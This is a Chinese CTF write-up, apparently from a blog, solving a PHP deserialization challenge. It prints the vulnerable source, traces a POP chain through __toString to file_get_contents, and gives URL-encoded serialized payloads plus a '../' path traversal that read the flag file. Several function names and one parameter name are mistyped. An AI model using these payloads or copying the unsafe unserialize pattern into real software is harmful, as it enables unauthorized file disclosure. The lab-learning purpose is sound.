php反序列化2023/10/28

发布时间 2023-10-28 10:11:07作者: LC静一

题目来源:[第五空间 2021]pklovecloud

题目代码如下:

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

 这个题感觉挺有意思的,先看这个反序列化位点,没啥不一样的,但是这里有个echo $logData,可能有些人有点懵了,反序列化后$logData是一个对象,怎么能用each输出,先往下看,这个有大用。

总共有三个类,第一个类pkshow没有成员属性,没啥用,这个类可以直接忽略不看。

我们反着推,全文看下来,也只有file_get_contents()函数可以利用,他会把文件读取成字符串并输出,并且开头包含了flag.php,并且$file = "./{$this->filename}";会拼接成完整路径

所以我们就要想办法触发这个函数。

要想用这个函数就要想办法绕过这个if($this->openstack->neutron === $this->openstack->nova)限制,再往上就需要触发each_name()这个自定义函数,当然我们不可能主动调用

我们看到pskhow和acp类中都有调用这个函数,但是我们说了pkshow这个类我们没办法用,就只剩下acp这个类可用了

可以看到在__toSting()魔术方法中调用了each_name()这个方法,但是并不是直接调用,而是通过成员属性$cinder来调用,所以echo_name()方法就必须是属于$cinder这个成员属性

那么$cinder就必须得是一个对象,并且是实例化ace的对象,因为我们要调用的是类ace里面的方法

那么__toSting()魔术方法如何调用,他会在把对象当做字符串输出时调用,对象当做字符串不就是之前each $logData干的事吗,反序列化后$logData是个对象,each是用来输出一个字符或者字符串的,这不刚好调用了__toSting形成了完整的pop链吗,写出来就是

each $logData->acp::__toSting->ace::each_nama->if

由于$cinder是保护属性,所以我们使用构造函数实例化对象,并且序列化后要进行url编码,不然会受不可见字符影响而出错

我们将$docker赋值为空,那么反序列化也是空,那么给他赋值一个不存在的变量$heat还是空,空和空肯定相等就能绕过if

 

pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 传入参数页面上什么也没有,F12看一下源码,发现给了提示,flag in /nssctfasdasdflag

 那就改变flag.php为nssctfasdasdflag

psk=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

再次传入发现出现一个keystone lost~,这个说明file_get_contents($file)返回false,说明$file路径或者文件不存在,既然说了flag in /nssctfasdasdflag出题人也应该不会骗人,那我们试着穿越目录

变成../nssctfasdasdflag 

 

成功拿到flag